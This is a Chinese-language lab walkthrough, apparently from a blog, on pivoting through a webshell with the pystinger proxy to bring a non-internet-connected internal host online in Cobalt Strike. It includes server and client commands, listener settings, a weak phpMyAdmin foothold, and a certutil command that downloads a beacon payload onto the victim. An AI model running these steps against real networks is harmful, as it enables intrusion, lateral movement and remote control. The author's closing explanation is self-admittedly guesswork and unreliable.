文章參考:https://mp.weixin.qq.com/s/cpN91KpBvTHwqqFHAQZDOw
0x01 工具及環境搭建
(1)下載pystinger (Release模塊)
https://github.com/FunnyWolf/pystinger
(2)內網環境:
攻擊機:192.168.43.203(kali)與192.168.43.131(win) 受害機1(win7):192.168.43.50,192.168.59.133 (雙網卡,存在內網) 受害機2(winserver2008):192.168.59.18 (僅主機,內網,僅一台不出網的59.18)
0x02 Pystinger簡單介紹
pystinger 可通過 webshell 實現ss4代理、端口映射,可做正向代理,又名為毒刺,下載release版本的如下所示,與frp類似,是一款需要在肉雞與攻擊機一同運行的代理工具。
0x03 Pystinger上線不出網主機
根據靶場可知,受害機2不出網。如何通過代理完成上線2台主機?
設:已獲取受害機1(win7):192.168.43.50的webshell,內網網段,192.168.59.18(受害機2)不出網。
(1)獲取win7肉雞的shell:
(2)將Pystinger的服務端stinger_server.exe、proxy.php上傳至目標可讀寫目錄中,訪問proxy.php返回UTF-8
表示正常,接着執行以下命令啟動服務端:
start stinger_server.exe 0.0.0.0 #注:必須設置為0.0.0.0,否則無法成功!
(3)將客戶端stinger_client上傳至攻擊機,然后執行將Socks4的代理流量轉發到攻擊機60000端口上,只要把-w參數替換為自己上傳的代理腳本地址即可
stinger_client -w http://192.168.43.50/proxy.php -l 127.0.0.1 -p 60000
用法一:單主機上線
已控主機為單主機,不出外網且僅允許訪問目標Web的80端口。如遇這種場景時可在執行完以上操作后在CobaltStrike創建一個Listener,HTTP Hosts填127.0.0.1
,HTTP Port填60020
用法二:多主機上線
已控主機為內網其中一台主機,雙網卡(192.168.43.X為出網段,192.168.59.X為不出網段),在對不出網段中的其他內網主機進行橫向移動上線時,可,執行完以上操作后在CobaltStrike創建一個Listener,HTTP Hosts填192.168.59.133(即那台雙網卡的肉雞)
,HTTP Port填60020
CobaltStrike監聽設置
-
單主機上線:
CobaltStrike->Listeners->Add->127.0.0.1:60021
; -
多主機上線:
CobaltStrike->Listeners->Add->192.168.59.133:60020
;
-
目標主機為雙網卡時必須用不出網IP段的內網IP地址進行監聽才能上線不出網主機
(4)從攻擊機上傳馬兒到受害機1目錄下:
(5)通過配置代理,可以訪問內網那台不出網的59.18主機了,並且內網59.18主機存在某個漏洞,如何上線該不出網主機呢?設,59.18存在phpmyadmin弱口令,通過frp等代理手段(win下嘗試直接使用毒刺做proxifer代理不成功,故試試frp代理),可獲取該phpmyadmin的shell並執行上傳exe文件的命令,但是不出網,僅能使用frp訪問shell,如何在外網的CS上線該內網主機呢?
(6)在webshell中上傳或是下載之前配置好監聽器的exe馬兒:
certutil -urlcache -split -f http://192.168.59.133/artifact.exe C:\beacon.exe
(7)執行該beacon.exe后可上線內網不出網的shell:
(8)簡單說一下過程:因為43.50那台雙網卡主機設置的代理是0.0.0.0,連接時,一旦設置了一個43.50(即59.133)的馬兒,就會主動去監聽這台雙網卡的端口,當然,端口也為:60020,也就是,在不出網的主機運行:beacon.exe后,exe程序會去找59.133這台主機的60020端口(與外網連接),又因為59.133這台主機是出網的,就會跟CS相連,但是我始終想不清楚,為什么上線的是59.18,難道是因為是59.18這台主機執行的點擊操作?又或者,其實是這個木馬的兩個功能,一個功能用來點擊上線,一個功能用來尋找上線端口。個人猜想,搞了一天終於成功了,這個一點也不穩定,唉,難搞奧!(端口隱射)